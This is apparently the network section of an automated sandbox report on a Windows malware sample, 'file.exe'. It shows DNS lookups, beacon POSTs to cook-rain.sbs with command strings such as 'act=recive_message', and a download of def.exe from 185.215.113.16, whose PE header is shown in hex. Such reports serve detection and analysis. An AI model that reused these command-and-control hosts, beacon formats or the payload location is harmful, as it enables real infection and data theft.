Nov 20, 2024 21:06:06.707425117 CET	443	49959	13.107.246.63	192.168.2.4
Nov 20, 2024 21:06:07.710536003 CET	443	49955	13.107.246.63	192.168.2.4
Nov 20, 2024 21:06:07.711113930 CET	49955	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:06:07.711134911 CET	443	49955	13.107.246.63	192.168.2.4
Nov 20, 2024 21:06:07.711663008 CET	49955	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:06:07.711680889 CET	443	49955	13.107.246.63	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 21:04:02.338148117 CET	64830	53	192.168.2.4	1.1.1.1
Nov 20, 2024 21:04:02.671582937 CET	53	64830	1.1.1.1	192.168.2.4
Nov 20, 2024 21:04:19.166755915 CET	138	138	192.168.2.4	192.168.2.255
Nov 20, 2024 21:04:38.781236887 CET	53	50857	1.1.1.1	192.168.2.4
Nov 20, 2024 21:04:39.037344933 CET	53	62809	1.1.1.1	192.168.2.4
Nov 20, 2024 21:04:41.854266882 CET	53	65222	1.1.1.1	192.168.2.4
Nov 20, 2024 21:04:42.925952911 CET	62956	53	192.168.2.4	1.1.1.1
Nov 20, 2024 21:04:42.926264048 CET	60685	53	192.168.2.4	1.1.1.1
Nov 20, 2024 21:04:43.064965963 CET	53	62956	1.1.1.1	192.168.2.4
Nov 20, 2024 21:04:43.065051079 CET	53	60685	1.1.1.1	192.168.2.4
Nov 20, 2024 21:04:46.068876982 CET	58546	53	192.168.2.4	1.1.1.1
Nov 20, 2024 21:04:46.069495916 CET	58717	53	192.168.2.4	1.1.1.1
Nov 20, 2024 21:04:54.199148893 CET	53	52332	1.1.1.1	192.168.2.4
Nov 20, 2024 21:04:56.689887047 CET	61143	53	192.168.2.4	1.1.1.1
Nov 20, 2024 21:04:56.689944029 CET	49737	53	192.168.2.4	1.1.1.1
Nov 20, 2024 21:04:59.066893101 CET	53	61860	1.1.1.1	192.168.2.4
Nov 20, 2024 21:05:18.050296068 CET	53	61758	1.1.1.1	192.168.2.4
Nov 20, 2024 21:05:38.363673925 CET	53	49790	1.1.1.1	192.168.2.4
Nov 20, 2024 21:05:40.775541067 CET	53	64306	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 20, 2024 21:04:38.969660044 CET	192.168.2.4	1.1.1.1	c272	(Port unreachable)	Destination Unreachable
Nov 20, 2024 21:04:46.502310038 CET	192.168.2.4	1.1.1.1	c2c1	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 21:04:02.338148117 CET	192.168.2.4	1.1.1.1	0x5ef3	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:04:42.925952911 CET	192.168.2.4	1.1.1.1	0x9e15	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:04:42.926264048 CET	192.168.2.4	1.1.1.1	0x726	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 21:04:46.068876982 CET	192.168.2.4	1.1.1.1	0xb94	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:04:46.069495916 CET	192.168.2.4	1.1.1.1	0x3162	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 20, 2024 21:04:56.689887047 CET	192.168.2.4	1.1.1.1	0x52f0	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:04:56.689944029 CET	192.168.2.4	1.1.1.1	0xccdc	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 21:04:02.671582937 CET	1.1.1.1	192.168.2.4	0x5ef3	No error (0)	cook-rain.sbs		104.21.66.38	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:04:02.671582937 CET	1.1.1.1	192.168.2.4	0x5ef3	No error (0)	cook-rain.sbs		172.67.155.248	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:04:43.064965963 CET	1.1.1.1	192.168.2.4	0x9e15	No error (0)	www.google.com		216.58.208.228	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:04:43.065051079 CET	1.1.1.1	192.168.2.4	0x726	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 21:04:46.207782030 CET	1.1.1.1	192.168.2.4	0x2e98	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:04:46.208969116 CET	1.1.1.1	192.168.2.4	0xb94	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:04:46.208969116 CET	1.1.1.1	192.168.2.4	0xb94	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:04:46.208969116 CET	1.1.1.1	192.168.2.4	0xb94	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:04:46.208969116 CET	1.1.1.1	192.168.2.4	0xb94	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:04:46.209112883 CET	1.1.1.1	192.168.2.4	0x4934	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:04:46.209112883 CET	1.1.1.1	192.168.2.4	0x4934	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:04:46.209112883 CET	1.1.1.1	192.168.2.4	0x4934	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:04:46.502178907 CET	1.1.1.1	192.168.2.4	0x3162	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:04:46.502178907 CET	1.1.1.1	192.168.2.4	0x3162	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:04:48.922655106 CET	1.1.1.1	192.168.2.4	0x4339	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:04:48.922655106 CET	1.1.1.1	192.168.2.4	0x4339	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:04:48.922655106 CET	1.1.1.1	192.168.2.4	0x4339	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 20, 2024 21:04:48.923006058 CET	1.1.1.1	192.168.2.4	0xd8b3	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:04:56.915992022 CET	1.1.1.1	192.168.2.4	0x52f0	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 21:04:56.925678015 CET	1.1.1.1	192.168.2.4	0xccdc	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

cook-rain.sbs

slscr.update.microsoft.com

fs.microsoft.com

https:

wcpstatic.microsoft.com

js.monitor.azure.com

otelrules.azureedge.net

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49744	185.215.113.16	80	6860	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 21:04:26.264413118 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 20, 2024 21:04:27.674637079 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 20:04:27 GMT Content-Type: application/octet-stream Content-Length: 2768384 Last-Modified: Wed, 20 Nov 2024 19:41:03 GMT Connection: keep-alive ETag: "673e3b4f-2a3e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2a 00 00 04 00 00 6b 14 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ k+`Ui` @ @.rsrc`2@.idata 8@fysdnnem)):@nvcnsgcm @.taggant@"*@
Nov 20, 2024 21:04:27.674664974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 21:04:27.674678087 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 21:04:27.674690008 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 21:04:27.674705029 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 21:04:27.674716949 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 21:04:27.674731970 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 21:04:27.674742937 CET	1236	IN	Data Raw: bd 05 96 7d 95 62 97 42 1e 51 95 ba 0e 87 f2 6c ba 9e fc 5c 7b 3c e9 1c 4a 17 cb 3b e4 9c 5b 52 76 89 41 e1 df 7a 1c 9d c6 d2 d2 72 ef 40 87 3d 2b 18 b7 6c 67 0b 8a 38 1d 3a 94 36 2d 10 4e 4f 2f 03 a7 7c 95 0e a3 94 79 27 b6 32 0b 21 94 cd 57 ea Data Ascii: }bBQl\{<J;[RvAzr@=+lg8:6-NO/\|y'2!Wa<h:PX>!K26@ZM'$ga%n9G!&dLEk<up7%2O0{CH)<CJ~!K]*I0#I+{#{3PQ`
Nov 20, 2024 21:04:27.674765110 CET	1236	IN	Data Raw: a9 06 ad 92 d1 06 b1 5e ba f1 35 73 14 29 ab eb 5b 31 a7 76 8d 3c c9 5b 4b 8e d1 82 31 49 a1 7d 5b 31 e1 5c bd 69 e5 7f c2 fc 22 fb 31 06 ed 7c 5b 65 ad aa 8d 4d fd 70 7f a2 07 b7 59 29 09 54 8b 2a 41 d7 14 85 9a 04 32 89 b9 7d 9b 1a 21 cb a3 c1 Data Ascii: ^5s)[1v<[K1I}[1\i"1\|[eMpY)T*A2}!),1!T9s, $`\1e]iii2.6{q<ylCM~<5!(;L1U)!inemk4}1TT0Ajerz(ITV1SA<18=;] <=
Nov 20, 2024 21:04:27.674786091 CET	1236	IN	Data Raw: 72 23 a6 83 87 41 ad 4f 6e 6e 5d 7d 26 ed 9c f1 20 fc ae aa 61 16 d1 23 16 5f dc 9b 80 e1 02 21 78 2e db ad 1f 82 cf 41 ac 60 82 50 3b 1b e2 13 6c 09 01 8d 11 6c 1e 9f 2b f9 0a 9f 7c 5c fd d7 a3 16 f9 6b 2d 60 f1 85 22 d3 41 7e 99 b6 c6 ce de ef Data Ascii: r#AOnn]}& a#_!x.A`P;ll+\|\k-`"A~G%Liy[=0?Z[HmH6F#4`0\|5+}s3U{&Er0_I39Ntn)hWYB3}>x\`?`n,lMZ\|!Of*L-5VG
Nov 20, 2024 21:04:27.794795990 CET	1236	IN	Data Raw: 1a 4e 76 27 44 1d 8c 56 3f a1 92 41 f8 fd ce 5d 0f 16 9b bd 0f 1d ed 4a 0c 33 79 a3 12 0e 78 6e 0f 0d f3 88 5c 1a 3f 10 8f e2 88 b4 70 cc aa eb 5a c7 05 82 72 6b b5 3a 5b fb 9e 91 79 5a f9 88 09 68 f7 7f 7f 5c ee 2b dc 26 98 0d cc 70 fc bf 7b e1 Data Ascii: Nv'DV?A]J3yxn\?pZrk:[yZh\+&p{ MuZWbl7')pJv$\|g:;LteXJGl0m>/k5)l!BTzJ2MPUf1M-!-{sP}n,8[]Bo; dF%/(iW

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.66.38	443	6860	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:04:04 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-20 20:04:04 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-20 20:04:04 UTC	980	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:04:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b3vmv7v6ml7n1qd10juiovp1l9; expires=Sun, 16-Mar-2025 13:50:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IFbN1LbIOOFBswYA5blFMMlaksIOrN93qsp31K0dBGgtCVKpsHrOsfkPaDTJHkFwNv9VFHW3oktN5hJO2pK7bS%2FGml3TKu2asa4s%2FX2h9KYZcaP%2BdTvOX4PrVsyRuTsU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5b0c06ab8b42a7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1725&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=1619523&cwnd=199&unsent_bytes=0&cid=641870a826b8f0e7&ts=731&x=0"
2024-11-20 20:04:04 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-20 20:04:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.66.38	443	6860	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:04:05 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-20 20:04:05 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-20 20:04:06 UTC	980	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:04:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ll3niarajkuo219ngbo1ueh74k; expires=Sun, 16-Mar-2025 13:50:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iq0C504mnH%2BFNBgooYIfTBlR48ofNrDsoVvtbIAPhcx68pnpFFE9Lw7uUaK5343FX8VLsCypZRy3WLdvfHEJU6UqPeRl%2BRSGdNMISJx8DjkHR%2F40baqrr2aa41V3LMEC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5b0c133e498cad-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2129&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=950&delivery_rate=1449131&cwnd=245&unsent_bytes=0&cid=883c73a582fcf128&ts=722&x=0"
2024-11-20 20:04:06 UTC	389	IN	Data Raw: 34 34 36 63 0d 0a 79 45 46 65 53 6d 39 68 52 32 64 75 70 2b 78 32 43 4a 52 31 5a 2f 57 59 2b 53 42 31 53 6d 53 75 46 74 4d 4f 76 68 6a 70 6b 71 75 7a 59 79 68 6f 56 56 56 72 52 52 33 43 7a 6b 78 38 35 67 41 43 32 62 71 59 52 46 64 77 41 73 39 36 6f 47 75 53 4f 70 2f 2f 69 66 49 6e 50 79 59 63 42 47 74 46 43 39 2f 4f 54 46 50 76 56 77 4b 62 75 73 4d 43 45 43 41 47 7a 33 71 78 62 39 56 33 6d 66 37 49 6f 43 30 35 49 67 6f 43 49 77 59 43 79 6f 6b 54 62 66 55 66 43 5a 7a 31 6b 55 31 58 5a 6b 62 4c 62 50 45 30 6e 46 57 4d 35 73 71 46 49 43 30 68 54 52 78 72 48 45 7a 43 67 6c 51 79 74 68 51 43 6c 2f 53 66 52 42 34 69 44 4d 5a 79 73 47 72 55 61 49 44 30 77 36 41 6a 4f 69 4d 41 43 7a 63 4c 43 4d 32 43 46 57 66 31 56 30 76 58 2f 59 4d 43 54 32 68 56 2f 6e 65 67 66 Data Ascii: 446cyEFeSm9hR2dup+x2CJR1Z/WY+SB1SmSuFtMOvhjpkquzYyhoVVVrRR3Czkx85gAC2bqYRFdwAs96oGuSOp//ifInPyYcBGtFC9/OTFPvVwKbusMCECAGz3qxb9V3mf7IoC05IgoCIwYCyokTbfUfCZz1kU1XZkbLbPE0nFWM5sqFIC0hTRxrHEzCglQythQCl/SfRB4iDMZysGrUaID0w6AjOiMACzcLCM2CFWf1V0vX/YMCT2hV/negf
2024-11-20 20:04:06 UTC	1369	IN	Data Raw: 50 71 69 4e 38 5a 6b 30 45 50 55 56 55 68 61 30 52 65 76 45 62 45 39 58 41 32 31 31 5a 4d 55 62 4c 65 50 45 30 6e 48 4b 4f 38 38 71 68 4c 44 38 67 42 68 45 6c 46 77 72 49 69 77 5a 73 38 78 6b 50 6c 4f 69 52 54 42 45 72 44 38 64 39 74 47 76 59 4f 73 57 77 7a 72 4a 6a 5a 47 67 73 44 69 34 4a 42 74 4b 4f 56 48 57 34 44 6b 57 51 39 74 73 61 56 79 77 48 79 48 57 31 59 74 4a 2b 68 2f 62 48 70 79 77 36 49 67 30 45 4c 77 30 45 78 49 4d 66 5a 66 59 53 43 4a 50 38 6c 30 4d 53 61 45 69 4d 63 36 6b 73 68 44 71 6c 39 38 71 34 59 51 6b 72 41 77 30 69 45 30 7a 61 77 41 30 71 38 52 74 46 7a 37 71 56 52 78 67 36 42 39 35 78 76 33 37 51 66 34 33 39 79 71 51 6a 4f 53 38 41 44 53 4d 43 44 38 32 4b 46 57 54 36 48 51 61 54 2b 64 73 4d 56 79 38 65 6a 43 7a 78 58 64 39 2b 6a 4f Data Ascii: PqiN8Zk0EPUVUha0RevEbE9XA211ZMUbLePE0nHKO88qhLD8gBhElFwrIiwZs8xkPlOiRTBErD8d9tGvYOsWwzrJjZGgsDi4JBtKOVHW4DkWQ9tsaVywHyHW1YtJ+h/bHpyw6Ig0ELw0ExIMfZfYSCJP8l0MSaEiMc6kshDql98q4YQkrAw0iE0zawA0q8RtFz7qVRxg6B95xv37Qf439yqQjOS8ADSMCD82KFWT6HQaT+dsMVy8ejCzxXd9+jO
2024-11-20 20:04:06 UTC	1369	IN	Data Raw: 4d 69 38 4a 44 79 77 49 43 73 57 4a 45 47 2f 6b 45 67 79 62 39 74 73 4d 56 79 38 65 6a 43 7a 78 51 39 74 73 69 4e 2f 4b 75 79 70 38 4e 30 4d 61 5a 51 49 41 68 64 5a 55 62 66 4d 66 44 70 48 79 6d 31 41 53 4a 67 33 4e 66 72 64 74 30 58 61 4e 38 4d 69 71 4a 54 41 6f 43 67 51 33 46 77 6e 44 6e 42 34 71 75 46 63 43 6a 37 72 44 41 69 45 34 45 64 31 69 38 31 6e 66 64 49 58 33 33 2b 6f 38 63 6a 46 4e 42 43 6c 46 56 49 57 46 46 47 62 78 48 77 4f 54 38 70 52 4e 48 6a 6f 48 77 48 71 6a 61 39 78 7a 68 66 2f 46 6f 79 34 37 4a 51 59 4a 4b 41 45 4c 78 4d 35 61 4b 76 45 50 52 63 2b 36 72 56 49 61 4a 43 6a 48 65 4c 67 73 77 7a 53 53 73 4d 36 6d 59 32 52 6f 43 51 38 74 44 77 50 4d 68 42 35 6c 2f 78 63 4e 6e 76 4f 59 51 68 73 75 42 38 42 34 76 47 6e 66 66 34 62 31 79 61 59 Data Ascii: Mi8JDywICsWJEG/kEgyb9tsMVy8ejCzxQ9tsiN/Kuyp8N0MaZQIAhdZUbfMfDpHym1ASJg3Nfrdt0XaN8MiqJTAoCgQ3FwnDnB4quFcCj7rDAiE4Ed1i81nfdIX33+o8cjFNBClFVIWFFGbxHwOT8pRNHjoHwHqja9xzhf/Foy47JQYJKAELxM5aKvEPRc+6rVIaJCjHeLgswzSSsM6mY2RoCQ8tDwPMhB5l/xcNnvOYQhsuB8B4vGnff4b1yaY
2024-11-20 20:04:06 UTC	1369	IN	Data Raw: 67 39 6c 58 55 7a 4a 6a 52 68 69 2b 52 45 4d 6d 2f 43 53 53 52 73 6a 41 73 42 39 74 47 72 64 66 34 37 78 7a 61 59 70 4f 69 73 4f 44 43 6f 4b 42 49 58 41 56 47 33 75 56 31 33 58 33 34 78 4a 47 53 35 47 30 7a 71 6f 4c 4e 74 32 79 36 69 4a 70 69 6f 36 4c 67 67 50 4a 41 4d 45 77 49 59 51 61 2f 41 52 42 70 6a 2b 6e 6b 4d 59 4c 41 72 43 66 72 42 74 30 48 47 45 2b 38 7a 71 62 58 77 76 46 55 4e 39 52 54 33 47 6d 41 4e 36 2b 6c 63 61 32 65 50 62 52 52 74 6f 58 6f 78 31 6f 32 62 57 64 49 37 2f 7a 4b 6b 73 4f 79 55 4c 44 79 38 4d 42 4d 4f 42 48 58 6a 31 47 77 75 51 39 4a 64 4d 47 69 49 46 77 54 54 2f 4c 4e 74 69 79 36 69 4a 68 69 51 78 42 67 59 50 49 6b 55 54 69 35 64 55 62 66 70 58 58 64 66 32 6b 55 34 65 4b 41 2f 4a 66 4c 70 6c 32 58 75 41 39 63 71 73 4c 6a 4d 68 Data Ascii: g9lXUzJjRhi+REMm/CSSRsjAsB9tGrdf47xzaYpOisODCoKBIXAVG3uV13X34xJGS5G0zqoLNt2y6iJpio6LggPJAMEwIYQa/ARBpj+nkMYLArCfrBt0HGE+8zqbXwvFUN9RT3GmAN6+lca2ePbRRtoXox1o2bWdI7/zKksOyULDy8MBMOBHXj1GwuQ9JdMGiIFwTT/LNtiy6iJhiQxBgYPIkUTi5dUbfpXXdf2kU4eKA/JfLpl2XuA9cqsLjMh
2024-11-20 20:04:06 UTC	1369	IN	Data Raw: 56 55 68 59 67 62 59 2f 55 59 42 4a 37 32 6c 6b 63 65 4c 51 66 4b 63 4c 74 6d 33 48 79 4e 38 63 79 67 49 44 30 69 42 41 51 74 41 67 2f 58 7a 6c 6f 71 38 51 39 46 7a 37 71 79 52 51 55 6d 46 6f 78 72 2f 33 57 63 66 59 65 77 6b 65 6f 6e 4e 69 63 4a 42 43 6b 44 43 63 4f 44 46 57 58 33 46 77 71 54 38 5a 4a 45 46 69 55 44 77 58 43 6a 5a 74 64 31 68 2f 6e 46 70 32 4e 79 61 41 6f 62 5a 56 31 4d 39 49 4d 61 5a 50 45 42 52 59 69 30 67 67 49 51 4a 45 61 55 4e 4c 42 67 30 33 6d 45 38 38 71 72 4b 53 34 36 41 51 6f 74 41 41 44 4f 67 42 4a 34 38 42 67 4d 6c 50 6d 53 52 52 38 6b 44 4d 39 7a 38 53 4b 63 66 5a 4f 77 6b 65 6f 41 4b 7a 67 41 51 7a 70 4c 46 59 57 4a 47 43 71 75 56 77 32 61 38 70 46 47 45 43 55 42 79 6e 32 6a 5a 64 6c 30 69 2f 54 43 70 53 55 34 4b 77 30 52 49 Data Ascii: VUhYgbY/UYBJ72lkceLQfKcLtm3HyN8cygID0iBAQtAg/Xzloq8Q9Fz7qyRQUmFoxr/3WcfYewkeonNicJBCkDCcODFWX3FwqT8ZJEFiUDwXCjZtd1h/nFp2NyaAobZV1M9IMaZPEBRYi0ggIQJEaUNLBg03mE88qrKS46AQotAADOgBJ48BgMlPmSRR8kDM9z8SKcfZOwkeoAKzgAQzpLFYWJGCquVw2a8pFGECUByn2jZdl0i/TCpSU4Kw0RI
